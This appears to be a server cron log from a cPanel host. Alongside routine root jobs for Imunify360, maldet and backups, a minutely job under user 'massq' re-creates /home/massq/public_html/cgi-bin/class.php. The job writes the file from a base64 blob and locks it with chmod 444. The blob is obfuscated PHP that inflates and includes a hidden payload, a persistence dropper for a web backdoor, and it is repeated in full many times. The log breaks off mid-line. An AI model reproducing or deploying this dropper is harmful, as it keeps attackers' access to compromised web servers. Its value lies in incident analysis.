Sep  1 19:24:01 server CROND[13243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:24:01 server CROND[13245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:25:01 server CROND[13738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:25:01 server CROND[13741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:25:01 server CROND[13745]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:25:01 server CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:25:01 server CROND[13758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:25:01 server CROND[13757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:25:01 server CROND[13756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:26:01 server CROND[14588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:26:01 server CROND[14589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:26:01 server CROND[14590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:27:01 server CROND[14975]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:27:01 server CROND[14976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:27:01 server CROND[14977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:27:01 server CROND[14978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:28:01 server CROND[15386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:28:01 server CROND[15387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:28:01 server CROND[15388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:29:01 server CROND[15774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:29:01 server CROND[15775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:29:01 server CROND[15777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:30:02 server CROND[16257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:30:02 server CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:30:02 server CROND[16260]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:30:02 server CROND[16262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:30:02 server CROND[16263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:30:02 server CROND[16265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:30:02 server CROND[16266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:30:02 server CROND[16264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:31:01 server CROND[17116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:31:01 server CROND[17117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:31:01 server CROND[17119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:32:01 server CROND[17501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:32:01 server CROND[17502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:32:01 server CROND[17503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:33:01 server CROND[17891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:33:01 server CROND[17892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:33:01 server CROND[17893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:34:01 server CROND[18281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:34:01 server CROND[18282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:34:01 server CROND[18280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:35:01 server CROND[18766]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:35:01 server CROND[18768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:35:01 server CROND[18769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:35:01 server CROND[18772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:35:01 server CROND[18770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:35:01 server CROND[18773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:35:01 server CROND[18775]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 19:35:01 server CROND[18771]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:35:01 server CROND[18774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 